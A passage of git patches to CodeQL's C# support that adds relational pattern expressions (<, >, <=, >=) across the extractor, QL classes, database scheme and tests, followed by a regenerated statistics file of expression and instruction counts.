ExprKind.GT_PATTERN, + _ => throw new InternalError(operatorToken.Parent, $"Relation pattern with operator token '{operatorToken.Kind()}' is not supported."), + }; + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs b/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs index 31b69075231..9d99122ce90 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs @@ -116,6 +116,10 @@ namespace Semmle.Extraction.Kinds ASSIGN_COALESCE = 119, SUPPRESS_NULLABLE_WARNING = 120, NAMESPACE_ACCESS = 121, + LT_PATTERN = 122, + GT_PATTERN = 123, + LE_PATTERN = 124, + GE_PATTERN = 125, NOT_PATTERN = 126 } } diff --git a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll index 411f75ba40c..e3dc50f52f2 100644 --- a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll +++ b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll @@ -345,6 +345,45 @@ class ConstantPatternExpr extends PatternExpr { override string getAPrimaryQlClass() { result = "ConstantPatternExpr" } } +/** A relational pattern, for example `>1` in `x is >1`. */ +class RelationalPatternExpr extends PatternExpr, @relational_pattern_expr { + /** Gets the name of the operator in this pattern. */ + string getOperator() { none() } + + /** Gets the expression of this relational pattern. */ + Expr getExpr() { result = this.getChild(0) } + + override string toString() { result = getOperator() + " ..." } +} + +/** A less-than pattern, for example `< 10` in `x is < 10`. */ +class LTPattern extends RelationalPatternExpr, @lt_pattern_expr { + override string getOperator() { result = "<" } + + override string getAPrimaryQlClass() { result = "LTPattern" } +} + +/** A greater-than pattern, for example `> 10` in `x is > 10`. */ +class GTPattern extends RelationalPatternExpr, @gt_pattern_expr { + override string getOperator() { result = ">" } + + override string getAPrimaryQlClass() { result = "GTPattern" } +} + +/** A less-than or equals pattern, for example `<= 10` in `x is <= 10`. */ +class LEPattern extends RelationalPatternExpr, @le_pattern_expr { + override string getOperator() { result = "<=" } + + override string getAPrimaryQlClass() { result = "LEPattern" } +} + +/** A greater-than or equals pattern, for example `>= 10` in `x is >= 10` */ +class GEPattern extends RelationalPatternExpr, @ge_pattern_expr { + override string getOperator() { result = ">=" } + + override string getAPrimaryQlClass() { result = "GEPattern" } +} + /** * A type pattern, for example `string` in `x is string`, `string s` in * `x is string s`, or `string _` in `x is string _`. diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index 5f6770a8a17..98e37f65f0a 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -1010,6 +1010,10 @@ case @expr.kind of | 120 = @suppress_nullable_warning_expr | 121 = @namespace_access_expr /* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr | 126 = @not_pattern_expr ; @@ -1017,6 +1021,7 @@ case @expr.kind of @case = @case_stmt | @switch_case_expr; @pattern_match = @case | @is_expr; @unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; @integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; @real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index 59dabf7e3ad..c3aabb85092 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -473,6 +473,63 @@ ParenthesizedPattern.cs: # 27| 0: [TypeAccessPatternExpr] access to type String # 27| 0: [TypeMention] string # 27| 2: [IntLiteral] 5 +RelationalPattern.cs: +# 3| [Class] RelationalPattern +# 5| 5: [Method] M1 +# 5| -1: [TypeMention] bool +#-----| 2: (Parameters) +# 5| 0: [Parameter] c +# 5| -1: [TypeMention] char +# 6| 4: [IsExpr] ... is ... +# 6| 0: [ParameterAccess] access to parameter c +# 6| 1: [GEPattern] >= ... +# 6| 0: [CharLiteral] a +# 7| 6: [Method] M2 +# 7| -1: [TypeMention] bool +#-----| 2: (Parameters) +# 7| 0: [Parameter] c +# 7| -1: [TypeMention] char +# 8| 4: [IsExpr] ... is ... +# 8| 0: [ParameterAccess] access to parameter c +# 8| 1: [GTPattern] > ... +# 8| 0: [CharLiteral] a +# 9| 7: [Method] M3 +# 9| -1: [TypeMention] bool +#-----| 2: (Parameters) +# 9| 0: [Parameter] c +# 9| -1: [TypeMention] char +# 10| 4: [IsExpr] ... is ... +# 10| 0: [ParameterAccess] access to parameter c +# 10| 1: [LEPattern] <= ... +# 10| 0: [CharLiteral] a +# 11| 8: [Method] M4 +# 11| -1: [TypeMention] bool +#-----| 2: (Parameters) +# 11| 0: [Parameter] c +# 11| -1: [TypeMention] char +# 12| 4: [IsExpr] ... is ... +# 12| 0: [ParameterAccess] access to parameter c +# 12| 1: [LTPattern] < ... +# 12| 0: [CharLiteral] a +# 14| 9: [Method] M5 +# 14| -1: [TypeMention] string +#-----| 2: (Parameters) +# 14| 0: [Parameter] i +# 14| -1: [TypeMention] int +# 15| 4: [BlockStmt] {...} +# 16| 0: [ReturnStmt] return ...; +# 16| 0: [SwitchExpr] ... switch { ... } +# 16| -1: [ParameterAccess] access to parameter i +# 18| 0: [SwitchCaseExpr] ... => ... +# 18| 0: [ConstantPatternExpr,IntLiteral] 1 +# 18| 2: [StringLiteral] "1" +# 19| 1: [SwitchCaseExpr] ... => ... +# 19| 0: [GTPattern] > ... +# 19| 0: [IntLiteral] 1 +# 19| 2: [StringLiteral] ">1" +# 20| 2: [SwitchCaseExpr] ... => ... +# 20| 0: [DiscardPatternExpr] _ +# 20| 2: [StringLiteral] "other" TargetType.cs: # 5| [Class] TargetType # 7| 5: [Method] M2 diff --git a/csharp/ql/test/library-tests/csharp9/RelationalPattern.cs b/csharp/ql/test/library-tests/csharp9/RelationalPattern.cs new file mode 100644 index 00000000000..d21f5044507 --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/RelationalPattern.cs @@ -0,0 +1,23 @@ +using System; + +public class RelationalPattern +{ + public static bool M1(char c) => + c is >= 'a'; + public static bool M2(char c) => + c is > 'a'; + public static bool M3(char c) => + c is <= 'a'; + public static bool M4(char c) => + c is < 'a'; + + public static string M5(int i) + { + return i switch + { + 1 => "1", + >1 => ">1", + _ => "other" + }; + } +} \ No newline at end of file diff --git a/csharp/ql/test/library-tests/csharp9/relationalPattern.expected b/csharp/ql/test/library-tests/csharp9/relationalPattern.expected new file mode 100644 index 00000000000..43dca825928 --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/relationalPattern.expected @@ -0,0 +1,5 @@ +| RelationalPattern.cs:6:14:6:19 | >= ... | >= | +| RelationalPattern.cs:8:14:8:18 | > ... | > | +| RelationalPattern.cs:10:14:10:19 | <= ... | <= | +| RelationalPattern.cs:12:14:12:18 | < ... | < | +| RelationalPattern.cs:19:13:19:14 | > ... | > | diff --git a/csharp/ql/test/library-tests/csharp9/relationalPattern.ql b/csharp/ql/test/library-tests/csharp9/relationalPattern.ql new file mode 100644 index 00000000000..50618e5bb7d --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/relationalPattern.ql @@ -0,0 +1,4 @@ +import csharp + +from RelationalPatternExpr p +select p, p.getOperator() diff --git a/csharp/upgrades/to_change/upgrade.properties b/csharp/upgrades/to_change/upgrade.properties new file mode 100644 index 00000000000..ff3b5413d2c --- /dev/null +++ b/csharp/upgrades/to_change/upgrade.properties @@ -0,0 +1,2 @@ +description: Add 'relational_pattern_expr' and its four subtypes ('<', '>', '<=', '>=') +compatibility: backwards From c0b31cbfe78b2dc3324d213987afc2c286c6b5e8 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Fri, 15 Jan 2021 08:25:53 +0100 Subject: [PATCH 0626/1241] Add new stats file --- .../ql/src/semmlecode.csharp.dbscheme.stats | 5528 ++++++++--------- 1 file changed, 2762 insertions(+), 2766 deletions(-) diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme.stats b/csharp/ql/src/semmlecode.csharp.dbscheme.stats index 4f550902e34..7717e6d8d2b 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme.stats +++ b/csharp/ql/src/semmlecode.csharp.dbscheme.stats @@ -1,7 +1,7 @@ <dbstats> <typesizes><e> <k>@compilation</k> -<v>1097</v> +<v>1098</v> </e> <e> <k>@diagnostic</k> @@ -9,7 +9,7 @@ </e> <e> <k>@extractor_message</k> -<v>7617</v> +<v>7615</v> </e> <e> <k>@externalDefect</k> @@ -25,7 +25,7 @@ </e> <e> <k>@duplication</k> -<v>22766</v> +<v>22785</v> </e> <e> <k>@similarity</k> @@ -33,31 +33,31 @@ </e> <e> <k>@location_default</k> -<v>14072002</v> +<v>14071972</v> </e> <e> <k>@assembly</k> -<v>4204</v> +<v>4207</v> </e> <e> <k>@file</k> -<v>42524</v> +<v>42559</v> </e> <e> <k>@folder</k> -<v>16962</v> +<v>16977</v> </e> <e> <k>@namespace</k> -<v>21971</v> +<v>21990</v> </e> <e> <k>@namespace_declaration</k> -<v>19786</v> +<v>19803</v> </e> <e> <k>@using_namespace_directive</k> -<v>144448</v> +<v>144569</v> </e> <e> <k>@using_static_directive</k> @@ -117,23 +117,23 @@ </e> <e> <k>@enum_type</k> -<v>11968</v> +<v>11978</v> </e> <e> <k>@struct_type</k> -<v>49732</v> +<v>49774</v> </e> <e> <k>@class_type</k> -<v>305512</v> +<v>305768</v> </e> <e> <k>@interface_type</k> -<v>178354</v> +<v>178503</v> </e> <e> <k>@delegate_type</k> -<v>107713</v> +<v>107803</v> </e> <e> <k>@null_type</k> @@ -141,7 +141,7 @@ </e> <e> <k>@type_parameter</k> -<v>202872</v> +<v>203041</v> </e> <e> <k>@pointer_type</k> @@ -153,7 +153,7 @@ </e> <e> <k>@array_type</k> -<v>9134</v> +<v>9142</v> </e> <e> <k>@void_type</k> @@ -165,7 +165,7 @@ </e> <e> <k>@tuple_type</k> -<v>1785</v> +<v>1786</v> </e> <e> <k>@uint_ptr_type</k> @@ -185,19 +185,19 @@ </e> <e> <k>@typeref</k> -<v>235110</v> +<v>235307</v> </e> <e> <k>@attribute</k> -<v>750284</v> +<v>750912</v> </e> <e> <k>@type_mention</k> -<v>1268966</v> +<v>1270028</v> </e> <e> <k>@oblivious</k> -<v>1316</v> +<v>1317</v> </e> <e> <k>@not_annotated</k> @@ -209,7 +209,7 @@ </e> <e> <k>@type_parameter_constraints</k> -<v>611610</v> +<v>612122</v> </e> <e> <k>@modifier</k> @@ -217,47 +217,47 @@ </e> <e> <k>@property</k> -<v>424101</v> +<v>424457</v> </e> <e> <k>@indexer</k> -<v>17065</v> +<v>17079</v> </e> <e> <k>@getter</k> -<v>440933</v> +<v>441302</v> </e> <e> <k>@setter</k> -<v>127699</v> +<v>127806</v> </e> <e> <k>@event</k> -<v>15251</v> +<v>15263</v> </e> <e> <k>@add_event_accessor</k> -<v>15251</v> +<v>15263</v> </e> <e> <k>@remove_event_accessor</k> -<v>15251</v> +<v>15263</v> </e> <e> <k>@operator</k> -<v>12427</v> +<v>12437</v> </e> <e> <k>@method</k> -<v>1118142</v> +<v>1119078</v> </e> <e> <k>@constructor</k> -<v>278015</v> +<v>278247</v> </e> <e> <k>@destructor</k> -<v>443</v> +<v>444</v> </e> <e> <k>@local_function</k> @@ -265,15 +265,15 @@ </e> <e> <k>@addressable_field</k> -<v>370969</v> +<v>371280</v> </e> <e> <k>@constant</k> -<v>185465</v> +<v>185620</v> </e> <e> <k>@addressable_local_variable</k> -<v>162452</v> +<v>162450</v> </e> <e> <k>@local_constant</k> @@ -285,63 +285,63 @@ </e> <e> <k>@parameter</k> -<v>2420706</v> +<v>2422733</v> </e> <e> <k>@block_stmt</k> -<v>308455</v> +<v>308713</v> </e> <e> <k>@expr_stmt</k> -<v>367706</v> +<v>368014</v> </e> <e> <k>@return_stmt</k> -<v>96158</v> +<v>96238</v> </e> <e> <k>@using_block_stmt</k> -<v>1141</v> +<v>1142</v> </e> <e> <k>@var_decl_stmt</k> -<v>147916</v> +<v>147913</v> </e> <e> <k>@if_stmt</k> -<v>119127</v> +<v>119227</v> </e> <e> <k>@switch_stmt</k> -<v>3048</v> +<v>3050</v> </e> <e> <k>@while_stmt</k> -<v>4542</v> +<v>4546</v> </e> <e> <k>@do_stmt</k> -<v>1000</v> +<v>1001</v> </e> <e> <k>@for_stmt</k> -<v>6964</v> +<v>6969</v> </e> <e> <k>@foreach_stmt</k> -<v>5360</v> +<v>5364</v> </e> <e> <k>@break_stmt</k> -<v>10909</v> +<v>10918</v> </e> <e> <k>@continue_stmt</k> -<v>2186</v> +<v>2188</v> </e> <e> <k>@goto_stmt</k> -<v>2699</v> +<v>2701</v> </e> <e> <k>@goto_case_stmt</k> @@ -353,7 +353,7 @@ </e> <e> <k>@throw_stmt</k> -<v>74309</v> +<v>74371</v> </e> <e> <k>@yield_stmt</k> @@ -361,7 +361,7 @@ </e> <e> <k>@try_stmt</k> -<v>4323</v> +<v>4327</v> </e> <e> <k>@checked_stmt</k> @@ -373,7 +373,7 @@ </e> <e> <k>@lock_stmt</k> -<v>1659</v> +<v>1661</v> </e> <e> <k>@const_decl_stmt</k> @@ -381,27 +381,27 @@ </e> <e> <k>@empty_stmt</k> -<v>357</v> +<v>358</v> </e> <e> <k>@unsafe_stmt</k> -<v>178</v> +<v>179</v> </e> <e> <k>@fixed_stmt</k> -<v>1125</v> +<v>1126</v> </e> <e> <k>@label_stmt</k> -<v>1008</v> +<v>1009</v> </e> <e> <k>@catch</k> -<v>3438</v> +<v>3441</v> </e> <e> <k>@case_stmt</k> -<v>22437</v> +<v>22456</v> </e> <e> <k>@local_function_stmt</k> @@ -413,15 +413,15 @@ </e> <e> <k>@bool_literal_expr</k> -<v>69501</v> +<v>69559</v> </e> <e> <k>@int_literal_expr</k> -<v>754021</v> +<v>756818</v> </e> <e> <k>@long_literal_expr</k> -<v>324</v> +<v>325</v> </e> <e> <k>@double_literal_expr</k> @@ -429,63 +429,63 @@ </e> <e> <k>@string_literal_expr</k> -<v>412294</v> +<v>412639</v> </e> <e> <k>@null_literal_expr</k> -<v>107843</v> +<v>107934</v> </e> <e> <k>@local_variable_access_expr</k> -<v>524163</v> +<v>524154</v> </e> <e> <k>@parameter_access_expr</k> -<v>357439</v> +<v>357738</v> </e> <e> <k>@field_access_expr</k> -<v>460251</v> +<v>460637</v> </e> <e> <k>@property_access_expr</k> -<v>359591</v> +<v>359892</v> </e> <e> <k>@type_access_expr</k> -<v>347153</v> +<v>347147</v> </e> <e> <k>@typeof_expr</k> -<v>30087</v> +<v>30112</v> </e> <e> <k>@method_invocation_expr</k> -<v>548159</v> +<v>548157</v> </e> <e> <k>@cast_expr</k> -<v>262786</v> +<v>263006</v> </e> <e> <k>@object_creation_expr</k> -<v>62852</v> +<v>62905</v> </e> <e> <k>@array_creation_expr</k> -<v>179332</v> +<v>179763</v> </e> <e> <k>@array_init_expr</k> -<v>178872</v> +<v>179303</v> </e> <e> <k>@local_var_decl_expr</k> -<v>163758</v> +<v>163756</v> </e> <e> <k>@char_literal_expr</k> -<v>15893</v> +<v>15906</v> </e> <e> <k>@decimal_literal_expr</k> @@ -493,7 +493,7 @@ </e> <e> <k>@uint_literal_expr</k> -<v>2366</v> +<v>2368</v> </e> <e> <k>@ulong_literal_expr</k> @@ -505,11 +505,11 @@ </e> <e> <k>@this_access_expr</k> -<v>592619</v> +<v>593115</v> </e> <e> <k>@base_access_expr</k> -<v>2820</v> +<v>2823</v> </e> <e> <k>@method_access_expr</k> @@ -517,23 +517,23 @@ </e> <e> <k>@event_access_expr</k> -<v>430</v> +<v>431</v> </e> <e> <k>@indexer_access_expr</k> -<v>30799</v> +<v>30825</v> </e> <e> <k>@array_access_expr</k> -<v>19743</v> +<v>19760</v> </e> <e> <k>@delegate_invocation_expr</k> -<v>2139</v> +<v>2141</v> </e> <e> <k>@operator_invocation_expr</k> -<v>30001</v> +<v>29999</v> </e> <e> <k>@explicit_delegate_creation_expr</k> @@ -541,11 +541,11 @@ </e> <e> <k>@implicit_delegate_creation_expr</k> -<v>5116</v> +<v>5120</v> </e> <e> <k>@default_expr</k> -<v>6356</v> +<v>6362</v> </e> <e> <k>@plus_expr</k> @@ -553,7 +553,7 @@ </e> <e> <k>@minus_expr</k> -<v>7141</v> +<v>7147</v> </e> <e> <k>@bit_not_expr</k> @@ -561,19 +561,19 @@ </e> <e> <k>@log_not_expr</k> -<v>26419</v> +<v>26441</v> </e> <e> <k>@post_incr_expr</k> -<v>12562</v> +<v>12573</v> </e> <e> <k>@post_decr_expr</k> -<v>1738</v> +<v>1740</v> </e> <e> <k>@pre_incr_expr</k> -<v>1274</v> +<v>1275</v> </e> <e> <k>@pre_decr_expr</k> @@ -581,95 +581,95 @@ </e> <e> <k>@mul_expr</k> -<v>4625</v> +<v>4629</v> </e> <e> <k>@div_expr</k> -<v>1818</v> +<v>1819</v> </e> <e> <k>@rem_expr</k> -<v>716</v> +<v>717</v> </e> <e> <k>@add_expr</k> -<v>27874</v> +<v>27898</v> </e> <e> <k>@sub_expr</k> -<v>12839</v> +<v>12849</v> </e> <e> <k>@lshift_expr</k> -<v>4048</v> +<v>4051</v> </e> <e> <k>@rshift_expr</k> -<v>1764</v> +<v>1765</v> </e> <e> <k>@lt_expr</k> -<v>16292</v> +<v>16306</v> </e> <e> <k>@gt_expr</k> -<v>9585</v> +<v>9593</v> </e> <e> <k>@le_expr</k> -<v>3896</v> +<v>3899</v> </e> <e> <k>@ge_expr</k> -<v>6281</v> +<v>6286</v> </e> <e> <k>@eq_expr</k> -<v>53904</v> +<v>53949</v> </e> <e> <k>@ne_expr</k> -<v>37945</v> +<v>37977</v> </e> <e> <k>@bit_and_expr</k> -<v>6328</v> +<v>6334</v> </e> <e> <k>@bit_xor_expr</k> -<v>536</v> +<v>537</v> </e> <e> <k>@bit_or_expr</k> -<v>14985</v> +<v>14998</v> </e> <e> <k>@log_and_expr</k> -<v>20827</v> +<v>20845</v> </e> <e> <k>@log_or_expr</k> -<v>14076</v> +<v>14088</v> </e> <e> <k>@is_expr</k> -<v>6717</v> +<v>6722</v> </e> <e> <k>@as_expr</k> -<v>2758</v> +<v>2760</v> </e> <e> <k>@null_coalescing_expr</k> -<v>3682</v> +<v>3685</v> </e> <e> <k>@conditional_expr</k> -<v>9153</v> +<v>9160</v> </e> <e> <k>@simple_assign_expr</k> -<v>167429</v> +<v>167569</v> </e> <e> <k>@assign_add_expr</k> @@ -677,7 +677,7 @@ </e> <e> <k>@assign_sub_expr</k> -<v>1017</v> +<v>1018</v> </e> <e> <k>@assign_mul_expr</k> @@ -701,7 +701,7 @@ </e> <e> <k>@assign_or_expr</k> -<v>1392</v> +<v>1393</v> </e> <e> <k>@assign_lshift_expr</k> @@ -709,11 +709,11 @@ </e> <e> <k>@assign_rshift_expr</k> -<v>217</v> +<v>218</v> </e> <e> <k>@object_init_expr</k> -<v>7696</v> +<v>7702</v> </e> <e> <k>@collection_init_expr</k> @@ -725,11 +725,11 @@ </e> <e> <k>@unchecked_expr</k> -<v>1421</v> +<v>1422</v> </e> <e> <k>@constructor_init_expr</k> -<v>5819</v> +<v>5823</v> </e> <e> <k>@add_event_expr</k> @@ -745,7 +745,7 @@ </e> <e> <k>@lambda_expr</k> -<v>48835</v> +<v>48876</v> </e> <e> <k>@anonymous_method_expr</k> @@ -761,31 +761,31 @@ </e> <e> <k>@dynamic_member_access_expr</k> -<v>6852</v> +<v>6858</v> </e> <e> <k>@pointer_indirection_expr</k> -<v>4058</v> +<v>4061</v> </e> <e> <k>@address_of_expr</k> -<v>1250</v> +<v>1251</v> </e> <e> <k>@sizeof_expr</k> -<v>1040</v> +<v>1041</v> </e> <e> <k>@await_expr</k> -<v>54824</v> +<v>54870</v> </e> <e> <k>@nameof_expr</k> -<v>15930</v> +<v>15943</v> </e> <e> <k>@interpolated_string_expr</k> -<v>3045</v> +<v>3047</v> </e> <e> <k>@unknown_expr</k> @@ -793,7 +793,7 @@ </e> <e> <k>@throw_expr</k> -<v>1542</v> +<v>1544</v> </e> <e> <k>@tuple_expr</k> @@ -825,11 +825,11 @@ </e> <e> <k>@recursive_pattern_expr</k> -<v>1013</v> +<v>1014</v> </e> <e> <k>@property_pattern_expr</k> -<v>830</v> +<v>831</v> </e> <e> <k>@positional_pattern_expr</k> @@ -837,21 +837,37 @@ </e> <e> <k>@switch_case_expr</k> -<v>4351</v> +<v>4355</v> </e> <e> <k>@assign_coalesce_expr</k> -<v>543</v> +<v>544</v> </e> <e> <k>@suppress_nullable_warning_expr</k> -<v>14401</v> +<v>14413</v> </e> <e> <k>@namespace_access_expr</k> <v>20</v> </e> <e> +<k>@lt_pattern_expr</k> +<v>1</v> +</e> +<e> +<k>@gt_pattern_expr</k> +<v>2</v> +</e> +<e> +<k>@le_pattern_expr</k> +<v>1</v> +</e> +<e> +<k>@ge_pattern_expr</k> +<v>1</v> +</e> +<e> <k>@not_pattern_expr</k> <v>74</v> </e> @@ -881,19 +897,19 @@ </e> <e> <k>@singlelinecomment</k> -<v>184662</v> +<v>184816</v> </e> <e> <k>@multilinecomment</k> -<v>22100</v> +<v>22119</v> </e> <e> <k>@xmldoccomment</k> -<v>203648</v> +<v>203819</v> </e> <e> <k>@commentblock</k> -<v>144253</v> +<v>144374</v> </e> <e> <k>@asp_close_tag</k> @@ -933,7 +949,7 @@ </e> <e> <k>@cil_nop</k> -<v>820008</v> +<v>820695</v> </e> <e> <k>@cil_break</k> @@ -941,147 +957,147 @@ </e> <e> <k>@cil_ldarg_0</k> -<v>3975031</v> +<v>3978359</v> </e> <e> <k>@cil_ldarg_1</k> -<v>1216598</v> +<v>1217617</v> </e> <e> <k>@cil_ldarg_2</k> -<v>443854</v> +<v>444226</v> </e> <e> <k>@cil_ldarg_3</k> -<v>209153</v> +<v>209329</v> </e> <e> <k>@cil_ldloc_0</k> -<v>929209</v> +<v>929987</v> </e> <e> <k>@cil_ldloc_1</k> -<v>493899</v> +<v>494313</v> </e> <e> <k>@cil_ldloc_2</k> -<v>288705</v> +<v>288947</v> </e> <e> <k>@cil_ldloc_3</k> -<v>192049</v> +<v>192210</v> </e> <e> <k>@cil_stloc_0</k> -<v>524938</v> +<v>525377</v> </e> <e> <k>@cil_stloc_1</k> -<v>260496</v> +<v>260714</v> </e> <e> <k>@cil_stloc_2</k> -<v>198302</v> +<v>198468</v> </e> <e> <k>@cil_stloc_3</k> -<v>138293</v> +<v>138408</v> </e> <e> <k>@cil_ldarg_s</k> -<v>264505</v> +<v>264726</v> </e> <e> <k>@cil_ldarga_s</k> -<v>74767</v> +<v>74830</v> </e> <e> <k>@cil_starg_s</k> -<v>37174</v> +<v>37205</v> </e> <e> <k>@cil_ldloc_s</k> -<v>686344</v> +<v>686918</v> </e> <e> <k>@cil_ldloca_s</k> -<v>629222</v> +<v>629749</v> </e> <e> <k>@cil_stloc_s</k> -<v>480828</v> +<v>481231</v> </e> <e> <k>@cil_ldnull</k> -<v>603700</v> +<v>604205</v> </e> <e> <k>@cil_ldc_i4_m1</k> -<v>126197</v> +<v>126303</v> </e> <e> <k>@cil_ldc_i4_0</k> -<v>625564</v> +<v>626088</v> </e> <e> <k>@cil_ldc_i4_1</k> -<v>494640</v> +<v>495055</v> </e> <e> <k>@cil_ldc_i4_2</k> -<v>121027</v> +<v>121129</v> </e> <e> <k>@cil_ldc_i4_3</k> -<v>64149</v> +<v>64203</v> </e> <e> <k>@cil_ldc_i4_4</k> -<v>58877</v> +<v>58926</v> </e> <e> <k>@cil_ldc_i4_5</k> -<v>38681</v> +<v>38713</v> </e> <e> <k>@cil_ldc_i4_6</k> -<v>23264</v> +<v>23283</v> </e> <e> <k>@cil_ldc_i4_7</k> -<v>20752</v> +<v>20769</v> </e> <e> <k>@cil_ldc_i4_8</k> -<v>33481</v> +<v>33510</v> </e> <e> <k>@cil_ldc_i4_s</k> -<v>423321</v> +<v>423676</v> </e> <e> <k>@cil_ldc_i4</k> -<v>510838</v> +<v>511265</v> </e> <e> <k>@cil_ldc_i8</k> -<v>4886</v> +<v>4891</v> </e> <e> <k>@cil_ldc_r4</k> -<v>10261</v> +<v>10270</v> </e> <e> <k>@cil_ldc_r8</k> -<v>10329</v> +<v>10338</v> </e> <e> <k>@cil_dup</k> -<v>842166</v> +<v>842871</v> </e> <e> <k>@cil_pop</k> -<v>256457</v> +<v>256672</v> </e> <e> <k>@cil_jmp</k> @@ -1089,7 +1105,7 @@ </e> <e> <k>@cil_call</k> -<v>2741733</v> +<v>2744029</v> </e> <e> <k>@cil_calli</k> @@ -1097,95 +1113,95 @@ </e> <e> <k>@cil_ret</k> -<v>1786621</v> +<v>1788117</v> </e> <e> <k>@cil_br_s</k> -<v>345852</v> +<v>346141</v> </e> <e> <k>@cil_brfalse_s</k> -<v>466011</v> +<v>466401</v> </e> <e> <k>@cil_brtrue_s</k> -<v>430749</v> +<v>431110</v> </e> <e> <k>@cil_beq_s</k> -<v>82268</v> +<v>82337</v> </e> <e> <k>@cil_bge_s</k> -<v>34930</v> +<v>34959</v> </e> <e> <k>@cil_bgt_s</k> -<v>16499</v> +<v>16513</v> </e> <e> <k>@cil_ble_s</k> -<v>29204</v> +<v>29229</v> </e> <e> <k>@cil_blt_s</k> -<v>60940</v> +<v>60991</v> </e> <e> <k>@cil_bne_un_s</k> -<v>102669</v> +<v>102755</v> </e> <e> <k>@cil_bge_un_s</k> -<v>2184</v> +<v>2186</v> </e> <e> <k>@cil_bgt_un_s</k> -<v>8735</v> +<v>8742</v> </e> <e> <k>@cil_ble_un_s</k> -<v>6120</v> +<v>6126</v> </e> <e> <k>@cil_blt_un_s</k> -<v>1468</v> +<v>1469</v> </e> <e> <k>@cil_br</k> -<v>96168</v> +<v>96249</v> </e> <e> <k>@cil_brfalse</k> -<v>32399</v> +<v>32426</v> </e> <e> <k>@cil_brtrue</k> -<v>27336</v> +<v>27359</v> </e> <e> <k>@cil_beq</k> -<v>21513</v> +<v>21531</v> </e> <e> <k>@cil_bge</k> -<v>1390</v> +<v>1391</v> </e> <e> <k>@cil_bgt</k> -<v>1463</v> +<v>1464</v> </e> <e> <k>@cil_ble</k> -<v>4643</v> +<v>4646</v> </e> <e> <k>@cil_blt</k> -<v>7935</v> +<v>7941</v> </e> <e> <k>@cil_bne_un</k> -<v>7237</v> +<v>7243</v> </e> <e> <k>@cil_bge_un</k> @@ -1193,11 +1209,11 @@ </e> <e> <k>@cil_bgt_un</k> -<v>692</v> +<v>693</v> </e> <e> <k>@cil_ble_un</k> -<v>1102</v> +<v>1103</v> </e> <e> <k>@cil_blt_un</k> @@ -1205,7 +1221,7 @@ </e> <e> <k>@cil_switch</k> -<v>23883</v> +<v>23903</v> </e> <e> <k>@cil_ldind_i1</k> @@ -1213,7 +1229,7 @@ </e> <e> <k>@cil_ldind_u1</k> -<v>5511</v> +<v>5515</v> </e> <e> <k>@cil_ldind_i2</k> @@ -1221,19 +1237,19 @@ </e> <e> <k>@cil_ldind_u2</k> -<v>2444</v> +<v>2446</v> </e> <e> <k>@cil_ldind_i4</k> -<v>9778</v> +<v>9786</v> </e> <e> <k>@cil_ldind_u4</k> -<v>1482</v> +<v>1483</v> </e> <e> <k>@cil_ldind_i8</k> -<v>1970</v> +<v>1972</v> </e> <e> <k>@cil_ldind_i</k> @@ -1249,27 +1265,27 @@ </e> <e> <k>@cil_ldind_ref</k> -<v>6657</v> +<v>6662</v> </e> <e> <k>@cil_stind_ref</k> -<v>16938</v> +<v>16952</v> </e> <e> <k>@cil_stind_i1</k> -<v>8525</v> +<v>8532</v> </e> <e> <k>@cil_stind_i2</k> -<v>1376</v> +<v>1377</v> </e> <e> <k>@cil_stind_i4</k> -<v>10364</v> +<v>10372</v> </e> <e> <k>@cil_stind_i8</k> -<v>2345</v> +<v>2347</v> </e> <e> <k>@cil_stind_r4</k> @@ -1281,19 +1297,19 @@ </e> <e> <k>@cil_add</k> -<v>224014</v> +<v>224202</v> </e> <e> <k>@cil_sub</k> -<v>85297</v> +<v>85368</v> </e> <e> <k>@cil_mul</k> -<v>29955</v> +<v>29980</v> </e> <e> <k>@cil_div</k> -<v>9125</v> +<v>9132</v> </e> <e> <k>@cil_div_un</k> @@ -1301,7 +1317,7 @@ </e> <e> <k>@cil_rem</k> -<v>3409</v> +<v>3412</v> </e> <e> <k>@cil_rem_un</k> @@ -1309,71 +1325,71 @@ </e> <e> <k>@cil_and</k> -<v>59345</v> +<v>59395</v> </e> <e> <k>@cil_or</k> -<v>22152</v> +<v>22170</v> </e> <e> <k>@cil_xor</k> -<v>22718</v> +<v>22737</v> </e> <e> <k>@cil_shl</k> -<v>18972</v> +<v>18988</v> </e> <e> <k>@cil_shr</k> -<v>9178</v> +<v>9186</v> </e> <e> <k>@cil_shr_un</k> -<v>26112</v> +<v>26134</v> </e> <e> <k>@cil_neg</k> -<v>2336</v> +<v>2338</v> </e> <e> <k>@cil_not</k> -<v>1458</v> +<v>1459</v> </e> <e> <k>@cil_conv_i1</k> -<v>1385</v> +<v>1386</v> </e> <e> <k>@cil_conv_i2</k> -<v>1448</v> +<v>1449</v> </e> <e> <k>@cil_conv_i4</k> -<v>59789</v> +<v>59839</v> </e> <e> <k>@cil_conv_i8</k> -<v>50298</v> +<v>50340</v> </e> <e> 